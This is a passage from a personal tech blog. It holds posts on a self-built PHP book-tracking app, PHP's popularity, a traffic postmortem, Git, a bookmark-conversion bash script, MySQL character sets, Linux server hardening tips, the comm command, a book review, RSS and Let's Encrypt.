    Other than the index.php file there is one search.php file to make up the frontend. This file takes care of presenting the book details, search output, log and lists views (more on that later). So, most of what can be done and seen in the frontend is handled by the search.php file.

    The frontend itself is of course nothing unique. It’s just a representation of the data. The backend is a bit more interesting!

    Database

    The frontend was the easy part. At least it was after I figured out the backend! I spent quite a bit of time thinking about the database design and what the backend would have to do. I thought the design for such a small application wouldn’t be too difficult. But I surprised myself with the number of changes I made to the design, to get it just right. And I wanted to get it right because:

    General rule of thumb: when you start with a good design, everything else that comes after will be a lot easier.

    chrome_2019-11-11_15-19-42.png (885×385)
    Self-explanatory view of the database design

    The multiple foreign-key relations between tables (on ids etc.) are not defined in the database. I choose to do this in the code and the JOIN queries.

    It’s not hard to understand the database design. And yes, the design could be a little tighter — two or three tables — but let me explain!

    Log, actions and states

    One of the main things I spent time thinking about are the actions and their respective states.

    I figured you can do one of five things with a book (actions):

    • You want a book
    • You get/buy/own the book
    • You start reading it
    • You finish reading it
    • You purge/remove/sell/give away the book

    Makes sense right? You could even call it the ‘book life cycle proces‘. With one input and one output.

    HOWEVER! Some books you already own without wanting them first. Or, you can read the same book more than once. Or, you can give a book to a friend, and buy it again for yourself. Or, you can finish reading a book, that you lent — from a friend or library — so it is not on your shelf anymore. All of these things happen. So actually the ‘life cycle’ actions are not a chronological fixed start-to-end tollgate process, it’s continuous and messy.

    Book log

    Every new action is added to the book log. In the frontend the last 25 entries to the book log are presented as the Activity feed. Every action has a timestamp when an action got logged and a date for that action. Which are two different things. So when I now add a book to my shelf that I acquired 4 years ago, the book log timestamp is now, but the date for the action is 4 years ago.

    The Activity feed

    With this log I can keep track of books even after I got rid of them (because selling/purging is just one of the action for a book). This is important because this way I don’t lose the log history of a book.

    Also I can add books to my wanted list even if I have owned them before (maybe I gave them away etc.). And I can start/finish reading the same book more than once. It doesn’t matter, because it is just a log entry.

    Now here’s the interesting thing. With all this log information I can generate four states:

    • Books I want
    • Books I own
    • Books I have read
    • Books I had

    These states are generated by specific hardcoded queries per state. They are generated on the fly by what is in the log file, and where the most recent log records prevail to decide the current status.

    And with all this:

    Foster will track the complete history per book and at all times represent all books I want, own, have read or have owned, at that specific moment in time.

    Lists

    I could have defined these actions as a list: but lists are simpler. Let me explain.

    I tend to collect and read specific genres of books, e.g. music, management and computer history books. So I tend to organize books like that. These descriptions/genres are all, of course, just lists.

    Some books can be three of these things at the same time: part biography, part computer history part management. So one book can be a member of more than one list.

    In the Foster backend I can add or delete books to and from as many lists as I like.

    Easily adding/deleting books from a list with the same dropdown menu (click for a gif)

    I can also easily create new lists. Say: a list of books that I want for my birthday, or books that are on loan, or books that are signed by the author etc. I just add one new list to my table, and the list will be instantly available in the backend and presented in the frontend.

    Collections

    In the frontend the action log states and the different lists are grouped together under the Collections card. As stated the first 4 collections are populated from the log, and a book always has a last state. The others are just lists.

    I can create or delete as many lists as I’d like, and it won’t affect the book log. This way I can organize my book collection far better than I could physically (a book can only have one spot on your physical shelf).

    Adding books with the Bol.com API

    This is where the magic happens! Bol.com — a large Dutch book retailer — has a very easy API you can use to query their book database. I use it to search and add books to my collection. With one click I can get most book details: title, ISBN (=EAN), image, description etc. And I can pull them all into my own database. Including the image, which I then copy and store locally. Like this:

    Adding a book via bol.com API (click for a gif)

    Of course I can also edit book details when necessary, or just enter a book by hand without the API. Sometimes Bol.com does not carry a book.

    Backend

    The bol.com search API is the start page of my backend. The other important backend page is an overview of all my books. Clicking on the titles brings up an edit view of a book. But most importantly I can quickly add or delete books from lists here AND add actions (started reading, finished).

    I have defined jQuery actions on the <select option> dropdown menus, which provide a popup — where I can fill in a date if necessary — and which trigger database inserts (there definitely might be some security concerns here: but the backend is not public).

    Security

    The frontend is open for everyone to see. I don’t mind sharing (my podcast list is also public), also because I always enjoy reading other peoples lists or recommendations. The backend is just one .htaccess password protected directory. In my first database design I had a user table with accounts/passwords etc. But the .htaccess file seemed like the easiest/quicker solution for now.

    Tech

    I built Foster from scratch, no Symphony/Laravel or what have you. And I am a bit annoyed surprised there is still no MS Access RAD equivalent for the web in 2019 (i.e. a all in one tool: from DB design to logic to GUI design to runtime).

    I know Django does most of the backend for you , so I briefly looked at it. But for Foster I still ended up using PHP / MariaDB / Bootstrap 4 / JavaScript / jQuery. It’s a familiar and very portable stack that you can mostly just drop and run anywhere (and most answers are on StackOverflow 🤓).

    I’ve thought about using SQLite, but I am very familiar with MySQL/MariaDB so that made more sense. Also I learned more about Bootstrap than I actually cared about, but that’s alright. And I wrote my first serious piece of JavaScript code ever (for the dropdown select actions). So that was fun.

    All in all: I spent a few days pondering the database design in the back of my mind. And 4 evenings programming front and backend. And now I am just polishing little things: which is a lot of fun!

    Further development

    Right now, I still have around 200 more books from my library to catalogue correctly — that’s why some dates are set to 0000-00-00. But here are a few possible new features I am thinking about:

    • RSS feed for the activity log? Now that I am bulk adding books the activity feed is not so relevant, but when things settle down, who knows, people might be interested. After I wrote a draft of this blog I implemented it!
    • Twitter integration? Posting the log to a dedicated Twitter feed.
    • Adding books by scanning the barcode / ISBN with your phone camera? If I can just get the ISBN I can automate bol.com API to do the rest. Might speed things up a bit (and might be useful when you run a secondhand bookstore 😉). I created an iOS shortcut that does exactly this! It scans the book barcode/ISBN/EAN and opens the Foster edit.php URL with this ISBN number and from there I can add the book by clicking ‘Add’ (all book details are available and prefilled by the Bol.com API). It’s great!
    • Storing/tracking more than books? CDs, DVDs, podcasts I listened too, movies I watched etc.
    • Multi-user? In the first database design there were multiple users that could access / add the books that were already in the database but still create their own log and lists. I think I could still add this to the current design.
    • As you can see in the database design, there is a remarks table. I haven’t used this table. A remark is a ‘blog’ (or a short self-written review) of a book, that can be presented with the book details. This is a one-to-many relationship, because you might want to make new remarks each time you reread a book. But, I currently blog about every book I read, so the remarks might be just an embedded blog link?

    Just share the source already!

    “Foster looks nice. Please share the code!” No, sorry, for several reasons.

    1. I made Foster specifically for me. So chances that it will fit your needs are slim and you would probably still need to make changes. In this post I share my reasoning, but you should definitely try to build your own thing!
    2. When Foster was almost done, I learned about prepared statements (did I mention I am not a web developer?)… so I had to redo the frontend. But I haven’t redone the backend (yet): so it’s not safe from SQL injections or other pretty bad coding standards. Open sourcing it can of course generate code improvements, but it would first make my site vulnerable.
    3. But most importantly: Building a web application to scratch your own personal itch and learning new things can be one of the most fun and rewarding experiences you will have! And I hope this blog is useful to you, in achieving that goal.

  • PHP: how did it become so popular?

    PHP empowers a gigantic part of the internet. So it is, by definition, a very popular (i.e. prevalent) language. But it also very popular (i.e. well-liked) to dislike PHP as a — serious — language.

    This could be explained as one of the side effects of that same popularity. With great exposure, comes greater scrutiny. But that would be too easy.

    Picture of probably one of the most pragmatic people on the internet ❤

    Because when discussing PHP as a serious computer programming language there are serious arguments of what PHP exactly lacks as a language. And of course a lot of these things are fuel for endless, and useless, debate. Also because even the author of PHP, Rasmus Lerdorf, would probably agree on most!

    It seems like a popular past time to debate everything that is bad about PHP. So over the years there have been several (viral) blogposts about this: here, here, here and here (which spawned this great response).

    Even with all the changes made to PHP in recent years, this is still a common sentiment regarding PHP. This is also illustrated by a recent remark from highly respected programmer Drew DeVault:

    So PHP certainly has it fair share of critique (it is no Lisp!).

    So why is it so popular?

    I certainly have NO need to add my two cents to this debate. But I am VERY interested to investigate why and how PHP — a widely criticised language — became so incredibly popular.

    But you don’t have to read this post, because Rasmus Lerdorf explains it rather well in the first part of this next video. (There is also another video of the same talk at a different location, but the slides are easier to follow in this one.)

    https://www.youtube.com/watch?v=wCZ5TJCBWMg&t=2s

    I thought the talk was very interesting and he drops some killer quotes, so I highly recommend it! For easy reference, here follow the key slides and quotes from his presentation that, in my opinion, help answer the question how PHP became so popular. Of course this may be a biased view (he is the creator) but I am open to different views.

    C API for the web

    My grand scheme was to write a C API for the web. So to abstract away all the web specific things that you needed to know to get your business logic up online.

    Rasmus Lerdorf

    This was the plan.

    Straight away Rasmus explains he never intended to design a “full-blown” real programming language, but more a templating system. And he wasn’t happy with CGI.pm (“simply writing HTML in another language”). He wanted a C API for the web, where he abstracted away all boiler plate stuff he always needed to write when making a web application. The idea being that the business logic would be written in a real language (C or C++). And PHP was the templating language to present the data. However “the web moved too fast and there weren’t enough C developers in the world”. And with this, his programming language (by request) grew.

    What is most striking about this remark, is his dedication towards the end goal: get your business logic online! This initial, pragmatic approach is something that returns time and time again in the development of PHP. With PHP being a means to an end. Just another tool. Nothing to be religious about.

    6 months

    Rasmus also explains, more than once, that even though he added features he was never under the impression that this little language would survive. In the first few years he was thoroughly convinced it would only last about six more months before something better would come along. And that something would solve the very real problems his language could already solve.

    Therefore he also states that for the first 5 to 7 years PHP was “NOT a language, it was a templating system”. But apparently that something never did and reluctantly his templating system grew into a programming language (with recursion and all that).

    LAMP wasn’t an accident

    However, for someone who was convinced his templating system would die off within six month, he was exceptionally good in making the right decisions in improving the further adoption of PHP.

    The right calls!

    mod_php is probably the most important decision from all of these. It made certain that PHP would tie in nicely with Linux, Apache en MySQL and thus create one of the most powerful (free) software stacks ever. Rasmus is very clear on why he thought it was necessary to become an integral part of this ecosystem. Say what you will, but he definitely made the right call here.

    mod_perl was too late to the game. And too complex and expensive (you needed a single box in a time when VMs where not a thing) when it did arrive. Python (the other P) had a different focus and things like Django were many years in the future. But there are more choices Rasmus made that worked, and that the early web clearly needed:

    More right calls.

    Speed and efficiency

    PHP is amazingly good at running crap code.

    Rasmus Lerdorf

    Anybody with a good idea, could put their idea online and this has made the web a much much better place.

    Rasmus Lerdorf

    PHP is probably the most pragmatic language ever. A kind of pragmatism that lowers the barrier to entry. Which creates one of the main points of criticism. Because it makes for bad programmers. Programmers that dont really know what they’re doing because PHP does all the work for them. You can discuss this all your can, but one thing is clear: Rasmus knows who uses his language and makes certain to lower as many barriers as he can.

    Critique

    Rasmus is of course a very intelligent guy, he knows all this. He also explains some of the reasons of strange language design decisions he made. Some have a good explanation, others he fully admits he made the wrong decision. Admirably his ego is also subjected to pragmatism.

    Some decisions are up for debate.

    Pragmatic Hypertext Preprocessor

    PHP is a tool. PHP is not important, what you do with it is important.

    Rasmus Lerdorf

    Arguing about the color of the hammer used to built that thing is just moronic. We can’t lose track of what we’re doing here why we’re programming. We’re programming to solve a problem and hopefully it’s a problem that actually matters.

    Rasmus Lerdorf

    PHP is not going away. Why? Because some of the things that PHP solves, are not yet solved by any other language (don’t add me). I am comp-sci graduate, and even though I program very little and I have probably written more code in PHP code than any other language. I am not building big important business applications, most of the time I just want something online (from a database) and I want it fast! And PHP is my hammer. Time and time again I try to look at other things. And I get it. There is serious critique. But if you want to change that, you can! Nobody is stopping you. So stop complaining and get to it. Even though I don’t share the otherwise harsh tone of this post I do share that building something compelling is up for grabs!

    And when someone finally does that, then maybe Rasmus — after 25 years — will finally get his wish. It just took a little bit longer than six months.

  • Popular post postmortem

    Yesterday I wrote a story about how Git is eating the world. And in less than 24 hours more than 10.000 people visited this article! This is not the normal kind of traffic for this site. So that calls for its own article.

    As you can see, there is a slight uptake the last day.

    Not only did the above WordPress plugin tell me I hit 10.000, but my server logs said the same.

    grep git-is-eating-the-world j11g-access.log|awk '{print $1}'|sort -u|wc -l

    I run this WordPress installation on my own VPS. Which, by the way, could handle the load just fine! (PHP 7.3 is great.)

    1 core/2GB VPS with Apache + PHP 7.3

    How?

    I usually write about things that interest me: but those things may not always be of interest to the general public. But in this case I tried to make a conscious effort to write about something topical and a little bit controversial (BitBucket dropping Mercurial support). I also picked a catchy title: a play on Marc Andreessens’ famous quote. And I deliberately tried to push the article. I.e. this is how most content creators do it. But I usually put stuff out there, and see where it lands. I mainly enjoy writing for the sake of writing. My most visited article was a Django tutorial which generated 3000 visits this year (all from generic Google searches). So I thought I could try to give promotion a little bit more effort. This idea came after reading about a Dutch blogger who was a bit obsessed with getting clicks. Which to me is (still) not the best reason to write, but of course I can see why he was obsessed with it. When you write something, it’s more fun when people actually read it!

    Submitting it

    So after writing I picked lobste.rs and Hacker News to submit my story to. I submit links very frequently to both sites, just not my own content. But this content seemed right for these sites.

    On Hacker News it sadly went nowhere. This sometimes happens. Timing is everything. I have often also submitted something there that went nowhere, but that same link would be on the front page the next day via a new submission from someone else. My submission did however generate 234 unique visits. Which normally would be a good day for my site.

    Six upvotes. Not enough for the front page.

    Lobste.rs however, is a different story. Since submitting it there, it quickly shot up to the number one position. And currently (at time of writing) it was still number one. Also, lobste.rs had the most relevant discussion and comments of all aggregators.

    I ❤ the lobste.rs community🦞

    Uh?!

    After this I also tried submitting my link to Reddit. But much to my surprise someone beat me to it!? He (or she) submitted my post to two subreddits. I don’t know how the submitter found my post. But anyway, in r/programming it received exactly zero upvotes but it did generate 5 comments? But in r/coding it was the number one post for almost the entire day!

    This specific subreddit has 168000 readers and around 1000 active users at any given moment. So even if it only received 83 upvotes, this did generate the bulk of my traffic.

    Timing is everything

    After this, things got shared (organically?) on Twitter, and other tech sites (like Codeproject) also picked it up. People also seemed to share the link by e-mail: 175 unique clicks came from Gmail and 32 from Yahoo! Mail. Which I think is quite a lot!

    I also cross post every WordPress article to Medium: these readers don’t come to my site, but they are of course able to read my content. However, the reach there was very low.

    Lessons?

    Stating the very obvious here, but it helps to pick a topical subject and then trying to push it on news aggregators. Also (obvious) it struck me how difficult it was to get a foot in the door — those first few upvotes. After that it gets easier, because you become more visible.

    These are all obvious. But the most fun was actually discovering that the thing that you wrote took on a life of its own. And people you don’t know are sharing, reading and discussing it without your interference. I just love that. I still think that that is part of the magical aspect of the internet. People I have never met who live on the other side of the planet can instantly read and discuss what I’ve written. The internet gives everyone a voice and I love it.

  • Git is eating the world

    The inception of Git (2005) is more or less the halfway point between the inception of Linux (1991) and today (2019). A lot has happened since. One thing is clear however: software is eating the world and Git is the fork with which it is being eaten. (Yes, pun intended).

    Linux and Git

    In 2005, as far as Linus Torvalds’ legacy was concerned, he didn’t need to worry. His pet project Linux — “won’t be big and professional” — was well on its way to dominating the server and supercomputer market. And with the arrival of Linux powered Android smartphones this usage would even be eclipsed a few years later. Linux was also already a full-blown day job for many developers and the biggest distributed software project in the world.

    However, with the creation of Git in 2005, Linus Torvalds can stake the claim that he is responsible for not one, but two of the most important software revolutions ever. Both projects grew out of a personal itch, with the latter being needed for the other. The story of both inceptions are of course very well documented in the annals of internet history i.e. mailinglist archives. (Side note: one of Git’s most impressive feats was at the very early beginning, when Torvalds was able to get Git self-hosted within a matter of days 🤯).

    Today

    Fast forward to today and Git is everywhere. It has become the de facto distributed versioning control system (DVCS). However, it was of course not the first DVCS and may not even be the best i.e. most suitable for some use cases.

    The Linux project using Git is of course the biggest confirmation of Git’s powerful qualities. Because no other open source projects are bigger than Linux. So if it’s good enough for Linux it sure should be good enough for all other projects. Right?

    However Git is also notorious for being the perfect tool to shoot yourself in the foot with. It demands a different way of thinking. And things can quickly go wrong if you’re not completely comfortable with what you’re doing.

    Web-based DVCS

    Part of these problems were solved by GitHub. Which gave the ideas of Git and distributed software collaboration a web interface and made it social (follow developers, star projects etc.). It was the right timing and in an increasingly interconnected world distributed version control seemed like the only way to go. This left classic client-server version control systems like CVS and SVN in the dust (though some large projects are still developed using these models e.g. OpenBSD uses CVS).

    GitHub helped popularize Git itself. And legions of young developers grew up using GitHub and therefore Git. And yet, the world was still hungry for more. This was proven by the arrival of GitLab, initially envisioned as as SaaS Git service, most GitLab revenue now comes from self-hosted installations with premium features.

    But of course GitHub wasn’t the only web-based version control system. BitBucket started around the same time and offered not only Git support but also Mercurial support. And even in 2019 new web-based software development platforms (using Git) are born: i.e. sourcehut.

    Too late?

    However the fast adoption of tools like GitHub had already left other distributed version control systems behind in popularity: systems like Fossil, Bazaar and Mercurial and many others. Even though some of these systems on a certain level might be better suited for most projects. The relative simplicity of Fossil does a lot of things right. And a lot of people seem to agree Mercurial is the more intuitive DVCS.

    BitKeeper was also too late to realize that they had lost the war, when they open-sourced their software in 2016. Remember: BitKeeper being proprietary was one of the main reasons Git was born initially.

    Yesterday BitBucket announced they would sunset their Mercurial support. Effectively giving almost nothing short of a deathblow to Mercurial, as BitBucket was one of the largest promoters of Mercurial. This set off quite a few discussions around the internet. Partly because of how they plan to sunset their support. But partly also because Mercurial seems to have a lot of sentimental support — the argument being that it is the saner and more intuitive DVCS. Which is surprising because, as stated by BitBucket; over 90% of their users use Git. So there is a clear winner. Still the idea of a winner-takes-all does not sit well with some developers. Which is probably a good thing.

    Future?

    Right now Git is the clear winner, there is no denying that. Git is everywhere, and for many IDEs/workflow/collaboration software it is the default choice for a DVCS. But things are never static, especially in the world of software. So I am curious to see where we’ll be in another 14 years!

  • Create a Chrome bookmark html file to import list of URLs

    I recently switched RSS providers and I could only extract my saved posts as a list of URLs. So I thought I’d add these to a bookmark folder in Chrome. However, Chrome bookmark import only accepts a specifically formatted .html file.

    So if you have a file with all your urls, name this file ‘url.txt’ and run this script to create a .html file that you can import in Chrome (hat-tip to GeoffreyPlitt).

    #!/bin/bash
#
# Run this script on a file named urls.txt with all your URLs and pipe the output to an HTML file.
# Example: ./convert_url_file.sh > bookmarks.html

echo "<!DOCTYPE NETSCAPE-Bookmark-file-1>"
echo '<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">'
echo '<TITLE>Bookmarks</TITLE>'
echo '<H1>Bookmarks</H1>'
echo '<DL><p>'
  cat urls.txt |
  while read L; do
    echo -n '    <DT><A HREF="';
        echo ''"$L"'">'"$L"'</A>';
  done
echo "</DL><p>"

  • About WordPress, emojis, MySQL and latin1, utf8 and utf8mb4 character sets

    PSA: the MySQL utf8 character set is not real Unicode utf8. Instead use utf8mb4.

    So you landed here because some parts of your website are garbled. And this happened after a server or website migration. You exported your database and imported this export or dump on the new server. And now your posts look like this:

    Strange characters!

    When they should look like this:

    Emojis!

    These are screenshots from this website. This website was an old WordPress installation that still used the latin1 character set. The WordPress installation was up to date, but automatic WordPress updates will never update or change the database character set. So this will always remain what it was on initial installation (which was latin1 in my case).

    And latin1 can not store (real) Unicode characters e.g. emojis. You need a Unicode character set. So, just use utf8, right?

    Problem 1: exporting and importing the database with the wrong character set

    When exporting/dumping a database with mysqldump, this will use the default MySQL servers’ character set (set in my.cnf). In my case this was set to utf8. But by not explicitly telling the mysqldump to use the correct character set for a particular database (which was latin1) my dumped data was messed up.

    So when I restored the dump (on the new server) some text was garbled and emojis had completely disappeared from blog posts.

    I fixed this with help of these links. Key here is: explicitly set the correct character for a database when exporting this database. Then: change all instances in the dump file from the old character set to the new character set and import this file.

    https://theblogpress.com/blog/seeing-weird-characters-on-blog-how-to-fix-wordpress-character-encoding-latin1-to-utf8/
    MySQL: Converting an incorrect latin1 column to utf8

    Problem 2: some emojis work, some don’t

    After this my text was fine. I exported using the old character set and imported using utf8, what could go wrong! But some emojis were still missing, but others were not?! This was a head-scratcher.

    There is a question mark instead of an emoji

    How can this be, I had set my database character set to utf8 (with utf8_general_ci collation). This is Unicode, right? Wrong!

    MySQL utf8 does not support complete Unicode. MySQL utf8 uses only 3 bytes per character.

    Full Unicode support needs 4 bytes per character. So your MySQL installation needs to use the utf8mb4 character set (and utf8mb4_unicode_ci collation) to have real and full Unicode support.

    Some strange decisions were made in the 2002. 🤯 Which has given a lot of people headaches.

    So, MySQL utf8 only uses three bytes per character, but the explanation for the image with the one missing emoji is, that *some* emojis (like the❤️) will be expressed correctly with only three bytes.

    Problem 3: but I used emojis before, in my latin1 WordPress installation?!

    Yes, things worked fine, right? And here is the thing: if you dumped your database with the correct (old) character set and imported correctly with this old character set, things would still work!

    But you said latin1 does not support (4 byte character) emojis!?

    Correct!

    However WordPress is smart enough to figure this out: when using emojis in post titles or posts it will check the database character set and change the emoji to (hexadecimal) HTML code — which can be expressed and stored just fine in latin1.

    But how do you explain this image? This was after incorrectly dumping and importing a database.

    Wait, what?! The URL has the correct emoji but the post title does not!?!

    The post URL has two emojis, but one emoji is missing from the title?! I already explained why the emoji is missing from the post title, so how can that emoji be present in the post URL? This is because WordPress stores the post titles differently from the URLs.

    How the title and the post name (url) are stored

    So the post title field stores real Unicode symbols and the post_name (URL) field stores them encoded. So there you have it 🤓!

  • Linux server principles

    This is a list, in no particular order, of principles to adhere when running a secure Linux server.

    1. SSH – Never allow direct SSH root access (set PermitRootLogin No).
    2. SSH – Do not use SSH keys without a passphrase.
    3. SSH – If possible, do not run SSH on a public IP interface (preferably use a management VLAN).
    4. SSH/SSL – Use strong SSH ciphers and MAC algorithms (Check with https://testssl.sh/).
    5. Never run anything as root (use sudo).
    6. Use deny all, allow only firewall principle. Block everything by default, only open what’s needed.
    7. Configure the mail daemon to use a smarthost (unless it’s a mailserver).
    8. Always use a timeserver daemon to keep server in sync (ntp).
    9. Always use a package manager and apply, at least once a month, updates (apt, yum etc.)
    10. Have backups in place and regularly test the restores.
    11. Do not just backup raw database data. Dump databases and backup those dumps (mysqldump, pg_dump).

  • GNU coreutils comm is amazing

    Most people know sort and uniq (or even diff) and usually use a mix of these tools when comparing two files. However sometimes, there is a shorter solution than piping different commands together: comm is your answer!

    The comm(1) command is one of the most powerful but also underused text tools in the coreutils package.

    Comm’s manpage description is as simple as it gets: “compare two sorted files line by line”.  It does so by giving a three column output, from the manpage:

    With no options, produce three-column output. Column one contains lines unique to FILE1, column two contains lines unique to FILE2, and column three contains lines common to both files.

    Because you have two files, and you want to COMPARE them, usually one of these three options (and their parameters) is what you want:

    • Don’t give me the lines that are only in file1  (-1)
    • Don’t give me the lines that are only in file2 (-2)
    • Don’t give me the lines that are in both files (-3)

    How is that useful? Good question! Because the real magic is when you combine the parameters:

    comm -12 file1 file2
    Print only lines present in both file1 and file2.

    What this does is you only get the third column (lines in both files): you strip column 1 and column 2 from the output. Great!

    The man page is straightforward enough, go read it. But even if it’s actually clear enough in the description, it is less clear in practicality (and I suspect this to be one of the reasons comm is often misunderstood), the files you are comparing need to be in sorted order.

    I repeat, make sure your files are sorted.

    (Also, make sure there are no ‘strange’ characters (e.g. extra carriage returns) in your files. This can hinder comparing the files.)

    Luckily in bash sorting the files inline is easy:

    comm -3 <(sort file1) <(sort file2)

    There is a little bit more to the sorting, go read this if you’re interested. Just remember to keep the files sorted and you’re good!

  • The Soul of a New Machine – Tracy Kidder

    The Soul of a New Machine – Tracy Kidder

    The Soul of a New Machine by Tracy Kidder is one of those books that always seems to pop up when ‘computer-people’ share book recommendations. Exhibit A, exhibit B, exhibit C and so on — you get the picture.

    It is supposedly about computers, and I like computers! So I had to read it.

    And the “Winner of the Pulitzer Price” notion on the cover also seemed promising!

    The Soul of a New Machine – Tracy Kidder (1981) – 293 pages

    I had assumed it was fiction, however when I started reading it became pretty clear this is a non-fiction book. The Soul of a New Machine, follows a Digital General Corporation team of two dozen engineers in the late 70s who design a 32 bit computer — aka the Eagle — in an 18 month period under enormous pressure and inspiring leadership with ever moving deadlines and increasing market pressure.

    It’s an amazing read.

    These quotes from the authors’ website pretty much cover what’s so great about it.

    Apart from being an exceptional book, here are specific things that stood out for me:

    • Whether it was sheer luck or whether he had a nose for the industry, but Tracy Kidder was certainly at the right place, at the right time to write this story. The computer industry was still in its infancy and booming! And there were lots of companies doing similar things. But this particular company was at a crossroads and had this 32 bit computer challenge ahead of them. As a writer, those are the ingredients you want.
    • Yes, there are a lot of mind-blowing details in this book. Mind-blowing in the sense that people were able to build such a complex device but also mind-blowing that Kidder was able to write this entire process down in such lively detail.
    • Even then, computers were already incredibly complex. And computers tend to grow more complex over time. So when you take into account that this book describes enormously complex computer design from the late 70s it’s not that hard to imagine how we ended up, 40 years later, with problems like Meltdown and Spectre.
    • Computers like the Eagle were expensive. Most of the engineers who built it, pretty much couldn’t afford one. I always found this strange. This is probably the same for people who build really expensive cars.
    • When you are building a computer you could really benefit from using a computer. However this was not as straightforward as you might think. See the previous point: computers were expensive and had specific purposes. This part really put things in perspective for me.
    • Some of the engineers who worked on it didn’t even really like computers. Some because they saw a bleak future where computers would take over. And for others, it was just a puzzle to solve. 
    • Sure, this is a technical book of how a new computer was designed and built but at the heart this book is about people, relations, teamwork and leadership. The timelessness of this book is embodied not in the technical details but in the stories of how these people worked together and achieved their goals. (For lack of a better term, you could call it a management book.) And that is exactly what I like about it. I will probably forget the technical parts, no matter how interesting, but the colorful people, their backstories, motivation and relentless dedication will stay with you. I kept thinking I would also love to read such a book about people designing the original iPhone. The technical details would probably be different, but here’s the thing: I suspect there also would probably be a lot of similarities between them and this team from the 70s. Because in the end it’s about people trying to create something unique. 

    For me this book is a definitive must-read and I would personally really recommend this book to anyone. However I fully understand that this is not for everybody. It can come across as dry or too technical, but if you have ever engineered anything in or with a team or worked with strict but ever moving deadlines, you will recognize a lot and maybe even pick up a few things to put into perspective. 

    By the way, this is the machine they actually built (according to Google). The commercial name for the Eagle became the Data General Eclipse MV/8000. (picture is courtesy of the blog: The Soul of a Great Machine.)

  • I still love RSS (you can too!)

    RSS. It’s kind of a weird acronym and people can’t even seem to agree on the true meaning behind those three letters. It doesn’t sound too sexy, but it does sort of have a recognisable logo. If you have seen this logo before and wondered what it is, well, this post is for you!

    TL:DR: RSS is a specification that will allow you to keep track of all your favourite sites in one place.

    RSS has been around quite some time, long enough for people to try and kill it. But RSS is still around and one of the main pieces of technology that make the web great. It’s easy and simple and you can use it too!

    Forget the name for a minute. Say you like certain sites, you could check the site every hour for updates. But you will find that most times there isn’t anything new. Wouldn’t it be great if you could go to one place that will tell which of your favourite sites have updates?

    Well this is what RSS can do for you! How?! Glad you asked!

    Behind the scenes

    Most sites look different, some have the news at the top, some on the left, some have pictures that you have to click. This is great, every site has its own unique identity. But let’s think about this for a second: no matter where the news is or how you get there, in the end most if it is just text. You know, words, sentences, things you can read! As you are doing right now. What if this text from all your favourite sites  is organised and presented in a uniform matter? When every site abides the same rules, it would make it easier to fetch and present this content, right?

    Well, RSS is just that, it is a specification how a website, news site or blog (or anything that creates content, even podcasts) can offer their content. Technically, this content is in XML format, but you can forget that right away. What’s important here is that because sites agree on a specification, it makes it possible for a tool to read these XML files and present the updates to you. Pretty much like an e-mail program, all your new e-mail is in one place for you to check. Or like a Twitter feed, you don’t check people’s individual Twitter pages for updates, you have a feed, that is a reverse chronological collection of all updates of people you follow. So think of RSS as a way to get one chronological timeline of updates for all your favourite sites.

    RSS readers

    Sounds great! I want such a tool!

    Awesome! Well there are a whole bunch of tools available. Because RSS is an open format, there are 1001 and more implementations. You can get RSS readers for your phone, desktop computer or use a website (self-hosted or not). I myself use theoldreader.com, I added a bunch of sites and theoldreader.com will periodically check those sites for updates. So I don’t have to visit the sites myself, I just visit one site (theoldreader.com) and it presents me the updates. At the moment I follow around ~100 sites this way. Imagine having to check 100 sites everyday! Now I just get the updates for all of them in one place.

    Looks a bit like this.

    I find it especially great for blogs or sites that don’t update that often. My most favourite/visited sites aren’t even in there because I visit them often enough or they have too much content anyway. I’m looking for the news pearls, things that might not be in the main news, or great bloggers that don’t update frequently.

    So if RSS is so great, then why…?

    I know what you’re about to ask. But nobody owns RSS. Not Facebook or Google or Apple. It is just a agreement of presenting your content. And most sites really do offer their content in this RSS format, and refer to it as a RSS feed. You can usually find it by clicking the orange logo but most RSS readers will automatically find the feed for you. (You might also notice RSS2, RDF or Atom feeds, for now you can think of it as the same thing). It comes standard with almost all CMS’s. So if you write a WordPress, Joomla or Drupal blog or even a Tumblr, you might not even know it, but your content is already available in RSS. For instance this is the feed for this site. You would probably have to explicitly disable it if you really don’t want it. But why would you want to do that, RSS is such a great way for people to keep track of your site, right?

    But here’s the thing, most sites actually want you to visit, so you they can show you ads. Left, right on the top and bottom of the content you are there to read. And (therefore) most sites want as many visitors as possible. When you read their content somewhere else, this means no visitors and no ad clicks. So offering an RSS feed can conflict with their business model. So some sites let their RSS feed just offer titles, and you still have to click to get to the main site, or some embed ads in the RSS content. But even so most just offer the article/update and you never have to visit the site. If your goal is getting your content out there RSS works perfectly, it makes the web more decentralised (always a good thing). But if your goal is showing ads and generating a lot of traffic it might be a conflict of interest.

    Sites like Facebook never want you to leave, all news and content is on their site. It’s their bread & butter. But even they offer (limited) ways to present/create RSS feeds.

    So, RSS is amazing, even though it might sometimes conflict with a site’s interest. I understand, and I am not advocating solutions here. I’m just here to promote RSS, I love it, always have. And I know so many people that don’t know what it is, so I hope this helps!

  • Let’s encrypt all the things!

    You may notice something different on your favourite blog. Left of the URL in the address bar there is a little green lock! This means piks.nl is now served to you via SSL/TLS. You know, https:// instead of http://. This means the connection, and therefore, traffic between you and the website is more secure, because it is encrypted.

    This was way overdue, even more so because it’s oh so easy now with Let’s Encrypt.

    Let’s Encrypt

    Let’s Encrypt offers free and automatically renewable SSL/TLS certificates for everyone. Using certificates has been around a long time, and are part of a secure internet but 4 things were always a hassle:

    1. Certificates cost money.
    2. Certificates expire and renewal is something you have to plan/take care of. It’s not automatic.
    3. Validation is a bit of a pain (sending and replying specific emails)
    4. Configuration is a lot of pain (webserver dependent, a lot of different files, creating, moving copying etc.)

    Let’s Encrypt solves all of these problems. 

    I also run a couple of webshops so having certificates was kind of a big deal. And I had the first certificate running in 15 minutes. Pretty neat! I should have done this earlier.

    What makes it so easy is mainly because of this great tool that Let’s Encrypt provides: certbot.

    This bot takes care of (automates!) all the steps — there is always a manual override if you’re that kind of person. You download the bot, you unpack it, you run it, follow the configuration steps and the bot will create certificates and even update your Apache (webserver) configuration and reload the webserver and you’re done. You have to do very little.

    After that you can set your cron/systemd config to automatically renew the certificates for you. Certificates expire, that’s sort of part of what makes them secure.

    What more can you ask for?

    So what?

    Why would I need this? Well, 2 reasons:

    1. As said, I also run a couple of webshops. Having your customers send their personal/order/account/credit card information over an unsecured connection is not really something you want in 2017 (or, you know, ever).  Sure, a blog doesn’t typically handle customer information, but it’s still relevant. Also, because:
    2. Google will start (or already is) ranking SSL/TLS sites higher. So you need this if you want your site to show up in Google. SEO baby!

